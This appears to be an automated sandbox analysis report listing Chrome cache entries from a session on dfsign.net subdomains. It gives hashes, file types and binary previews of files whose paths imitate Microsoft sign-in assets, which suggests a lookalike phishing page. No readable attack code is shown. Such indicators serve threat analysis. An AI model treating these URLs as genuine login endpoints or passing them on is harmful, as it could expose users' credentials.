URL:	https://9b4922d2-b5027fcd.dfsign.net/c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/bannerlogo?ts=638616517362984701
Preview:	.PNG........IHDR.......$.....Q.\|.....pHYs...#...#.x.?v....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 25.11 (Macintosh)" xmp:CreateDate="2024-09-11T10:46:39+02:00" xmp:ModifyDate="2024-09-11T10:47:50+02:00" xmp:MetadataDate="2024-09-11T10:47:50+02:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:65b222b5-cca9-480e-bbd7-98767de4a04f" xmpMM:DocumentID="xmp.did:65b222b5-cca9-480e-bbd7-98767de4a04f" xmpMM:OriginalDocumentID="xmp.did:65b222b5-cca9-4

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 142297
Category:	dropped
Size (bytes):	49907
Entropy (8bit):	7.994982507179502
Encrypted:	true
SSDEEP:	768:W/ENMtXN6lY/9t4gP8YMZAcr84hDCTWIL00bvr+i6775QhBQM/ySliyToHRtTd3h:ji9HD8jA684gnL0cCnCLL/ycord0Gpd
MD5:	26146D5927C0501631A6821A28281A36
SHA1:	E866A92D659DEBAA20E28A83E1AE4653DF9BD9B2
SHA-256:	1E206722369530BF18566B1563FE301F9732BF27FFA0A77AE1F5E5C4F9195086
SHA-512:	978E86D362318E35AD31ECF7FD944F167C1FFB46E5815F1ADADCB38F0B1F235EA1529988F1D731F6FD720D4DEE72E37C43E03B8BA61D67BB68234338B7061269
Malicious:	false
Reputation:	low
Preview:	...........m[.8.0........OL....;w.....a.L...\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De....q.W.~.@......T.y.S7J...f...P....Pz.......a.E..<.m./A,...Q.....U..q...$.Db,...H<...'....J,..$..;nG.2DHYkL../......=.pB....A?.&...i,......2lo...$.<.s...?~p[......L..&x.qR.u3...6q:....U.Y1.."... .>Un#7@.........."H,@.......?..P....p6.S.[...E].A..G.....q..j4w6......YwI2....[?.....$.o.z .M/..N..z0..}.6...N6.........G..Ax.....>...A8U.0.AP...E.M.'..-. .l.M....V..z.$......F...,.I....?.k+v.........T...]'...../.kk0B...$a.4..;7.<.................et..>....]._.+...N......+..CU.V.UV.ep.......c.Ng.Zj...?I.f.\..:..+t..vc.I..#..I5.L..H$.(..s....1.Pa...g.N....d...Xtd!.....k.V...2u..Y..l....x//...E...e.....>...C..k.....23..@...r...(...+.l.'..J.$z"I..p..B`[LE......0LBT..r...9rsl5M.\|"......RK.l.....*.DVB.Swg..S5....d....O..`R.nw.-..L..S.B@QZ.N>.\-...[...pL....sro//..H.S.l.s....U.....M.yJ.....

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 21, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2291
Entropy (8bit):	7.098591798178667
Encrypted:	false
SSDEEP:	48:/E/6FDW94knA9WIMWO1OaOhtWp38iOvHgs2ViIt0TrnnITV5+AcQp:/ESECknmWIMW6Fc4IHgsg0Trn8V5+/Qp
MD5:	CED6097867FC35526894DA9C2B1ADD5C
SHA1:	AE78B5C64ACD64895FA4DC6DF7F83E2A67AA33F4
SHA-256:	FDCEE55A1A205F6F89DC1710582580801484C2EEEB74323E3F34ACE129EBF790
SHA-512:	EEA3ABCF012BA75D9F78ED2B689CB2AF74542FA7D374C4E0C36E0D04F8AE39597873BB82EFBEA207EB1E8A4B0B3593494BE7855EE1D70196705538AAE7C3E544
Malicious:	false
Reputation:	low
URL:	https://9b4922d2-b5027fcd.dfsign.net/c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/favicon?ts=638615710500539949
Preview:	.PNG........IHDR... .........'.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 25.11 (Macintosh)" xmp:CreateDate="2024-09-10T12:12:24+02:00" xmp:ModifyDate="2024-09-10T12:12:48+02:00" xmp:MetadataDate="2024-09-10T12:12:48+02:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:abb1d837-1d97-4d09-b638-e7737c6fc3f5" xmpMM:DocumentID="xmp.did:abb1d837-1d97-4d09-b638-e7737c6fc3f5" xmpMM:OriginalDocumentID="xmp.did:abb1d837-1d97-4

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.319344972980597
Encrypted:	false
SSDEEP:	6:XtrDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XBD34sMDaXI0demb/
MD5:	44D8807C223B5C6DEF6E75A602F314EF
SHA1:	E061C196D771661D6C47336C50EAFE2B3BA14130
SHA-256:	BA9816D7AF3E3B0EA5B6B34BAA0C99FE5EDCF4CA9BE30307AAA2956F994A8B1E
SHA-512:	E71B16643B2AC3DC315D1EEF21B9054A71F35E9E2E1DC0D36ABC08F4BDF1A9D3C3D6E9D35D06217966647367DCDD7709EA92B558CE407422FC13B4C33E12E3E4
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 57510
Category:	downloaded
Size (bytes):	16345
Entropy (8bit):	7.98961401355024
Encrypted:	false
SSDEEP:	384:gOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:gOBKJBXO586QB+11J
MD5:	1BB2645B377E0429225D33E4E2CC6E3F
SHA1:	A40797795C77CDFF574080B506BAB17DB38494B5
SHA-256:	B3B869875C7655F97500FBA0BCE74BCE7CC1DEE31D7CE5B93EA5D6457E07F08E
SHA-512:	49C98F20572C7488FEDB8AAF6C3D1D004904536524B79FA44CAABC5B91C8BA1A192B10F1FBE28112CC324E17600160E5BAA5E30261E5D63858C16376219DD3FE
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 3484
Category:	downloaded
Size (bytes):	1416
Entropy (8bit):	7.863455091493711
Encrypted:	false
SSDEEP:	24:Xeo0xAFX6ZvhMkGSsZcHorAwmTGcMLopK+czXm+chKtADyjb5KgX5U8iLs8dvbjp:XiAF0K897jMLjR9tA05LX5knptn
MD5:	95E6C183F0F72D679D6F76D6AF6CC028
SHA1:	96DF8EA54B6AB49B529F3994AF07F7E7D5CEE4E3
SHA-256:	FFE86E4E140D9C355433D6355BDAFECE82C6210C3A3CAEB460BA8A3643E6BA7F
SHA-512:	11199FCF7D76617A57D9F3B1CC48E445347E68CAE1E2A65F67AE419FFB49F5E5496EBBDC7475BFED05D1015D7F771B133EFE6CCCDFCD3A9420DC8B8C21E123FA
Malicious:	false
Reputation:	low
URL:	https://l1ve.dfsign.net/Me.htm?v=3
Preview:	...........WMo.8...W.D....".q..a...E]4mQu..W.0.es+S.I.-....}Y..M.C........\|m.....o......_.c..={2..[.L.c...8....H5...MH..........Z?....^.Y..ka.Z..gW\|.Rm.H(ia.....s"#_.$e....(.....,I..d ........v!/q..!.p7.H..B..Q..p<.;...)i...4^.!1.#..7.je.ss.....,.R[S.z..@.,.......&...".`.(..P..i.Y..d....#...Ij...Z...)...XYUW.,a\8g.\|2.9...b...wF...E..p>...........+U$...J...\..3VK.r..8.ph9...<-n.)j..>...."..h....ZC5Y.W..UK.6.O;0ON.I3..X(...Y..:...lp......B.gtTm...$Xza.s...e.b.+.V.9...R...m..A.f>....4.,.h.....U....n,..E@.}.b.....!.....IL..$$.........].......'....Qo6."..,.C2...u...H.P...\|..~x...-.x....U.M7..J..S....~1.I.7...l.E..\.....+si.I.XD..[...9D].K@.@C-"..."Xan.f.pL..<......mBV..=9.)vS-WR...F.2l..}5p..wo...S.....e...Y.o... .....GP...!5.F...B........z\F.J...>..H.4..}X.H7Y.`.a....Ux.g.A..W0B.~\|..i.\|..f.HHR@.>(\&...vMkf..j..s .{9L....[.q.<DvE.T.c.5B..t.2$V&.TIu>o...+.C..q&...z..2.&.%i.(.rkXP.x....Y.tC.....MWO..h@....cr.~\+j.W{u....9....UJ..A....8p$#.

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=4500, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=8000], progressive, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	95248
Entropy (8bit):	7.673376296924752
Encrypted:	false
SSDEEP:	1536:vZsgv7otshPm8VCYTXbgySnH9cCbwCJEuHM9Hi4gXKEo63i9wwSjXhRjNx+wI9Qw:xv78qpiqCbwOHM9CZKEJydiRmwtxf+
MD5:	862DBF2DAD855196F0B35D6ACD349B67
SHA1:	CBA3279A394E7A179C849B22982FFD9055FBAF30
SHA-256:	43E8E26196BE83777B78B9CF619D69E555588BF16DD6B6A266F3F7F0C62E4DB6
SHA-512:	2E3FA3077F264ABC1E040A7D3654ECE2BC65D0A5E389270DA88616D80E992E42D6C1FEF5933026A5E5D5D9C66A8A21598F5BF3CD43D7D99192DF00C88B902706
Malicious:	false
Reputation:	low
Preview:	......Exif..MM.*...............@.......................................................................................(...........1.....".....2..........i.............$.......-....'..-....'.Adobe Photoshop 25.11 (Macintosh).2024:09:11 10:35:39.............0231...................................8...............................r...........z.(.................................d.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................Z...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..0.....JP.T../)&I%..$.R.I$...I%)$.)IJH&L..)s.H....^WQe.6..f......kg.U,

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 142297
Category:	downloaded
Size (bytes):	49907
Entropy (8bit):	7.994982507179502
Encrypted:	true
SSDEEP:	768:W/ENMtXN6lY/9t4gP8YMZAcr84hDCTWIL00bvr+i6775QhBQM/ySliyToHRtTd3h:ji9HD8jA684gnL0cCnCLL/ycord0Gpd
MD5:	26146D5927C0501631A6821A28281A36
SHA1:	E866A92D659DEBAA20E28A83E1AE4653DF9BD9B2
SHA-256:	1E206722369530BF18566B1563FE301F9732BF27FFA0A77AE1F5E5C4F9195086
SHA-512:	978E86D362318E35AD31ECF7FD944F167C1FFB46E5815F1ADADCB38F0B1F235EA1529988F1D731F6FD720D4DEE72E37C43E03B8BA61D67BB68234338B7061269
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
Preview:	...........m[.8.0........OL....;w.....a.L...\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De....q.W.~.@......T.y.S7J...f...P....Pz.......a.E..<.m./A,...Q.....U..q...$.Db,...H<...'....J,..$..;nG.2DHYkL../......=.pB....A?.&...i,......2lo...$.<.s...?~p[......L..&x.qR.u3...6q:....U.Y1.."... .>Un#7@.........."H,@.......?..P....p6.S.[...E].A..G.....q..j4w6......YwI2....[?.....$.o.z .M/..N..z0..}.6...N6.........G..Ax.....>...A8U.0.AP...E.M.'..-. .l.M....V..z.$......F...,.I....?.k+v.........T...]'...../.kk0B...$a.4..;7.<.................et..>....]._.+...N......+..CU.V.UV.ep.......c.Ng.Zj...?I.f.\..:..+t..vc.I..#..I5.L..H$.(..s....1.Pa...g.N....d...Xtd!.....k.V...2u..Y..l....x//...E...e.....>...C..k.....23..@...r...(...+.l.'..J.$z"I..p..B`[LE......0LBT..r...9rsl5M.\|"......RK.l.....*.DVB.Swg..S5....d....O..`R.nw.-..L..S.B@QZ.N>.\-...[...pL....sro//..H.S.l.s....U.....M.yJ.....

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 15762
Category:	dropped
Size (bytes):	5532
Entropy (8bit):	7.9617835145640825
Encrypted:	false
SSDEEP:	96:QySl6/egihiuGbMtLGm/FYJ0O5bMAVbpOm0rj6WK30cz3wi8/AuyRQBnlDVgOzub:QNl6/mgbMVGOY6A5bpJOsEKARXyklR+
MD5:	138415F85497FC460519400CF47F0742
SHA1:	BC83AA552D6A39A1AB2B5DB6B19BF08D8796AAEE
SHA-256:	75AA9DA4B89EA6C363E3164A54258042C05D89C8BE52DC1D2D4A00E5632171CA
SHA-512:	85483A9422DC6B26B2D1D24C5106160F98BBA6C29313F424E8527B8FB849A986B3A8C2300ACC0E82EB8A1B21CF05362BB509C624B236CACCC100E6A11813F437
Malicious:	false
Reputation:	low
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...oyC.B+...MG.+p........z..E.u..e.v=....M\?...^B{....K..%.._."RM...._%!-9........~...~..b.dl........?....=.~...N.....,d.\|.wqg.0^.,.f......x\|g27C..Nb....V.y.y...._.<.w......\..[..N.....;..<a1f.....T.p1.R6.P.R.z..A...8.).:.W..I...g...a......h.V..mHb.b.=?.........#qk...p..[./.......M........#"%...Vp6...}......6r.......P.a..cI..X.W....C.......sR.M.......06pC7.........C.........4.."p......).F.e.}..3.f].Sq>.k..f..u.s.Ap.1g....x.OE.z.......4...yT.....Oz.gO-......jP7. }....".q ..a'L..i.'1...,YhE...\|...3n.v.Zm8..T....3....t0&N..%O.*'.MS..>.

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 245 x 36, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4358
Entropy (8bit):	7.684931433501991
Encrypted:	false
SSDEEP:	96:FCknmWIM6nISHgkxJ1kOd9ozwazZcgb+plIQwQoSlk18GK+f:kknE1kuozVz6o86BQomkVK+f
MD5:	517B74C50275CC8801796ACDE8E370C6
SHA1:	718E6F35875EA6ECB082274A82B072516EA4C28F
SHA-256:	AA91D42851283B3C461529A9113A9DD75088716B28CA2F86118B2AF89B3E7B41
SHA-512:	36DE3FD2F14F2844D87DD522D0D411232A055E1B35F632315ABE5BC0A10EF168AA733007D6F3096003E8EA96B66D970A2E32171DAC1D6036A13B419B6BCC00AE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......$.....Q.\|.....pHYs...#...#.x.?v....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 25.11 (Macintosh)" xmp:CreateDate="2024-09-11T10:46:39+02:00" xmp:ModifyDate="2024-09-11T10:47:50+02:00" xmp:MetadataDate="2024-09-11T10:47:50+02:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:65b222b5-cca9-480e-bbd7-98767de4a04f" xmpMM:DocumentID="xmp.did:65b222b5-cca9-480e-bbd7-98767de4a04f" xmpMM:OriginalDocumentID="xmp.did:65b222b5-cca9-4

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, 16x16 with PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, 24x24 with PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced, 32 bits/pixel
Category:	downloaded
Size (bytes):	2279
Entropy (8bit):	7.354295352983905
Encrypted:	false
SSDEEP:	24:sb8IQUm7Ar/pPwZRbiHGIc+CozPPdv4CA0H+9dCjnmLr7laO+If7xkLLVP:sbvmiRwZUmD+CoTU0HbEXRzxkLBP
MD5:	7E0D59593F3377B72C29435C4B43954A
SHA1:	B4C5C39A6DFB460BBD2EACCEB09EC8079FB6A8E2
SHA-256:	62D706019A0D80173113EF70FBBEE12F286E8E221534BE788448AADA4B14C8E8
SHA-512:	397416A6A96A39F46F22E906A60E56067E5B7B11FB0597A733F862FC077C88D5ED31F51A82709A56F6082FB1F2F72F9A0FE0849E3DD493BB4240C265B546AAD3
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	............ .....f......... .$...\|... .... .5.......00.... .j.......@@.... .....?......... .....2....PNG........IHDR................a....IDATx..1NCA.C..D@."-en.!.h..8@..9h..".....5M....h..-..l..L..P.Y.^luw...r.(.........w...B({....&.F......N.f%..........^&.x}Zu........g..7m......n?..U`....@.M8.g.-..\|..S.K.!....].%.I......&.I..`...F \|o;....{S....\|..VL...E....IEND.B`..PNG........IHDR..............w=.....IDATx..AJ.A.E_.5...D..$'....<.g.\...!.].!..Y....4...B.......4U...Q..J(...y....%..[t;..>\...~....O....r......e...F....8.d9....4.x.xW..e...c...~W..P2.........[.....r<..,..>....q.\...U...v.'......!.1.....9..:8............I.I.d.......IEND.B`..PNG........IHDR... ... .....szz.....IDATx..AJC1.E.{..... .;..>\..q+.. ..N.j....."8k.P..IF...M..{.8..F..Z.q...~.y}...0.f..U....Z...@yd...4......DT.B..)......v.8.....)..Lq.[....]_jrG$...3.%......i.vU...C...h0.....rz^.].....9..5.....mU~.E..GMF.X....?..Y.U..\|.c.k.v>..@.h..........Nh.u......IEND.B`..PNG........IHDR...

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 9285
Category:	downloaded
Size (bytes):	3921
Entropy (8bit):	7.948503808003115
Encrypted:	false
SSDEEP:	96:lAQtXXFpyJsBFK/nyVtNUbGRGVQ3U1owJ6BDWkUapiSNIpI97qT:6cXXj4X/+tCGRWQk6bwxaCpI9W
MD5:	403315B13DC887A041A4643D4A1515BE
SHA1:	9C2E934FF24BFDFAA89ABE2ECBD4A016364C2361
SHA-256:	7030E49902AF03FAC6CC9B22D7691CCD18422FC111F6FD8D95F44A0A2F6BE2AE
SHA-512:	FDD3F93C91A28A79A0602BF99EBF2A8F64401B6FD153C582B77E8B42F09874D6BE98A0CA8CEFBD981CDF32998A859DB18794A91197696BF9639431EFD145E2FB
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js
Preview:	...........Zks.6..>..F.d2.9.f.....+;..+...V..EB......m]K.}O.$E..$..26.G..8}.....Q.(.z..#.E^h.>...Bj..Z.R.r..GJ..eo.2..4UY..X....U-^..{N..3..P;:x[w...._y..[...'.....r]D..~.nr...y=..#[-.BN............~4.uV+;.m.:..\siUi...,.KW.......a&h....)...^.N....v.3.@..a.bT.....-!\.......y.WY...J?G.i.V1.T..;;n'...U..Z ..t2...5.....E2..7PoG..s.."....z...M;Ap.z.......8..}..:\|.f8.......I2G....J..Q.....OS.T!c.s........u.....0....;.k.$............s..V..K....xa..H......h....Z.yE.s..oN.x @.gnex.}E..1;7 .A.q.f]..W.!..........7,K&2.`].Y.'..j..X.A..n.I....ZxF.W.......~6O...-..[?..~..y.M...;..=.B.^....h.k.=<...0.Z........4.......K... .1K.@.<...nY.^s..p.......J..p0..>..}5.:l..?.Y.N.Z.Bu[....GTz...`.#..d...3!...4....wzp. ..Iws...W..E.o....5{..3...I\|!.]..E. o.'M..`.. ...U.(.X# .r..:..;.D....JV.Jx..4..j....5}.B.VI....)1x5..dN...(...q.y..cF..*......$......"s$.j...M`.Bu..A2..W.....\...=+...l..6..c.E0q3....7....]....&v..]...^.....u.z.cp..4\.L,.-..(..

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 11977
Category:	downloaded
Size (bytes):	4885
Entropy (8bit):	7.966201984130176
Encrypted:	false
SSDEEP:	96:VfNeE7wJH/aPrY4z3N2n+rsmboW0tR84Ha4tAydO7d8o4dWR:VkFH/aPXx2n+BItRrHHtJc7d8jMR
MD5:	DF4AA63B7F99FC82BDB7A5549D7AED62
SHA1:	45BBEA5E2A38D001413D1861C3CFF5F3F01C0AEC
SHA-256:	0F19F200EA8DAA0756EC413B3999201507BAE6FD00897DD99151A52FE6927FC7
SHA-512:	A22847D1C3E6A5497B8AE5A505FE84D7B274AC0DC88F58E1E4EF1BB8537421E6869441DB8BCD7D5643B21D5C5E4D858CA36860D0BAB554E8F325A80FD89154BC
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js
Preview:	...........Z{s..._..Fs.2.(9..RX..;[.m..LoWR2..JL)R....K.}...ERV...lfb.yp....'...........;..~:.8a.....=.:{}..pZ..E..(N...u....R.I...L.2...%..8LX$.%S..V2.$.gI.+l..Iv....3.....s}v.....q...lu..B.4S.T.0.ih.:i.X..d7.x.`..S..Y...S...!y.......`.P,.Z.<\|vI+-.\.cN..r .9..`..._..g....'K.;...........e...'N..\|[........Y1U~..\..b....%....w&nWX.'wl..X^....s).R.....z}.....h.<&r..V"!.j.7q.\|.j.'.S..O.O9s...^vz/:.#.&.J..~.;....gQ..S?..;.y...}.;..u.yy...).]?.V.......l..i.........l?........s......[(...].^^.....v....NO\|...._...._.._......[..Ei.:}{.....{.m......n%...{......7....hw.{^@.s%c....,r.{/.d.....x[..f..$..s.....1_..G.[.....A...E>.W.u"\|.Q.A.n.....+l.>...b..S..Tt......,..Gb20'q",..d...>....vx..@.?]..u6............9..y.n.6..k\.U..#..)...R/.b...`...<P.M~.......K.l1...Vm.xX..A............Oa...cq.......[1....@O...Z..d....X..-Gr..UI...,KD....r.v.Yii..s..Z`vl0.F.....R....Gf.;.2.....\..p\#..r.....Q.=L...D.s..d...W.@..#....I@....zmO..fA.g.v.&.......M....,

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
